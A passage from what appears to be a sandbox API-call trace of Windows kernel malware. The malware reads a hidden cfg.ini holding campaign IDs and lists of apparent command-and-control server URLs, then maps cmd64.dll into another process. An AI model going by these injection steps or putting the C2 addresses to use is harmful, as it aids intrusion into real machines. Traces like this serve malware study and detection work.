_Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.043] KeLeaveCriticalRegion () [0096.043] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.043] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015bae40 [0096.043] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.043] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.043] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="spoolsv.exe (x64)=") returned 18 [0096.043] _strlwr (in: _Str="spoolsv.exe (x64)=" | out: _Str="spoolsv.exe (x64)=") returned="spoolsv.exe (x64)=" [0096.043] ZwReadFile (in: FileHandle=0xffffffff800004f8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015bae40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015bae40*) returned 0x0 [0096.043] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.043] KeEnterCriticalRegion () [0096.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7ae40 [0096.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.043] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.043] IdePortDispatch () returned 0x103 [0096.043] KeWaitForMutexObject () returned 0x0 [0096.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.043] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.043] IdePortDispatch () returned 0x103 [0096.043] KeWaitForMutexObject () returned 0x0 [0096.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.044] KeLeaveCriticalRegion () [0096.044] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.044] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.044] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="spoolsv.exe (x64)=") returned 0x0 [0096.044] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.044] ExFreePoolWithTag (P=0xfffff8a0015bae40, Tag=0x0) [0096.044] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0096.044] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.044] KeEnterCriticalRegion () [0096.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.044] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038b3a90, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.044] KeLeaveCriticalRegion () [0096.044] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.044] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.044] KeEnterCriticalRegion () [0096.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.044] ExFreePoolWithTag (P=0xfffffa80036b00e0, Tag=0x0) [0096.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.044] KeLeaveCriticalRegion () [0096.044] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.044] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.044] KeSetEvent (in: Event=0xfffffa80038b3bc0, Increment=0x0, Wait=0 | out: Event=0xfffffa80038b3bc0) returned 0 [0096.292] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x524, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004f8) returned 0x0 [0096.292] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.292] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.292] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.292] KeEnterCriticalRegion () [0096.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.292] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.292] IdePortDispatch () returned 0x103 [0096.292] KeWaitForMutexObject () returned 0x0 [0096.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.292] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.292] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.292] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.292] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037d5d90 [0096.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.292] KeLeaveCriticalRegion () [0096.293] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.293] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.293] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.293] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.293] KeEnterCriticalRegion () [0096.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.293] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.293] KeLeaveCriticalRegion () [0096.293] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.293] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.293] KeEnterCriticalRegion () [0096.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.293] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.293] IdePortDispatch () returned 0x103 [0096.293] KeWaitForMutexObject () returned 0x0 [0096.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.293] KeLeaveCriticalRegion () [0096.293] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.293] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015cfe40 [0096.293] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.293] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.293] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0096.293] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0096.293] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015cfe40, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015cfe40*) returned 0x0 [0096.293] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.293] KeEnterCriticalRegion () [0096.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b45e40 [0096.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038bc390 [0096.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0096.293] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.293] IdePortDispatch () returned 0x103 [0096.294] KeWaitForMutexObject () returned 0x0 [0096.294] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038bc390 [0096.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0096.294] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.294] IdePortDispatch () returned 0x103 [0096.294] KeWaitForMutexObject () returned 0x0 [0096.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.294] KeLeaveCriticalRegion () [0096.294] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.294] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.294] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0096.294] strncpy (in: _Dest=0xfffffa80038bd354, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0096.294] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.294] ExFreePoolWithTag (P=0xfffff8a0015cfe40, Tag=0x0) [0096.294] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.294] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.294] KeEnterCriticalRegion () [0096.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.294] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.294] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038be050, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.294] KeLeaveCriticalRegion () [0096.294] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.294] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.294] KeEnterCriticalRegion () [0096.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.295] ExFreePoolWithTag (P=0xfffffa80037d5d90, Tag=0x0) [0096.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.295] KeLeaveCriticalRegion () [0096.295] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.295] KeStackAttachProcess (in: PROCESS=0xfffffa80038b7530, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80038b7530, ApcState=0xfffff88002f9da58) [0096.295] _snwprintf (in: _Dest=0xfffffa80038bd14c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0096.295] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0096.295] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0096.295] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.295] KeEnterCriticalRegion () [0096.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.295] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0096.295] IdePortDispatch () returned 0x103 [0096.295] KeWaitForMutexObject () returned 0x0 [0096.295] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.295] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.295] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.295] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.295] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.295] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.295] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.295] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.295] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.295] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.295] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.295] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037b0bb0 [0096.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.295] KeLeaveCriticalRegion () [0096.295] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.295] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800004f0 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0096.295] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.295] KeEnterCriticalRegion () [0096.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.296] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0096.296] IdePortDispatch () returned 0x103 [0096.296] KeWaitForMutexObject () returned 0x0 [0096.296] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.296] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.296] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.296] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.296] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.296] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.296] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.296] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.296] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.296] KeLeaveCriticalRegion () [0096.296] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.296] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0096.296] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0096.296] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.296] KeEnterCriticalRegion () [0096.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b46000 [0096.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.296] IdePortDispatch () returned 0x103 [0096.296] KeWaitForMutexObject () returned 0x0 [0096.297] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0096.297] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0096.297] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.297] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.297] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0096.297] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.297] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0096.297] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0096.297] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0096.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.297] IdePortDispatch () returned 0x103 [0096.297] KeWaitForMutexObject () returned 0x0 [0096.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.297] IoAllocateMdl 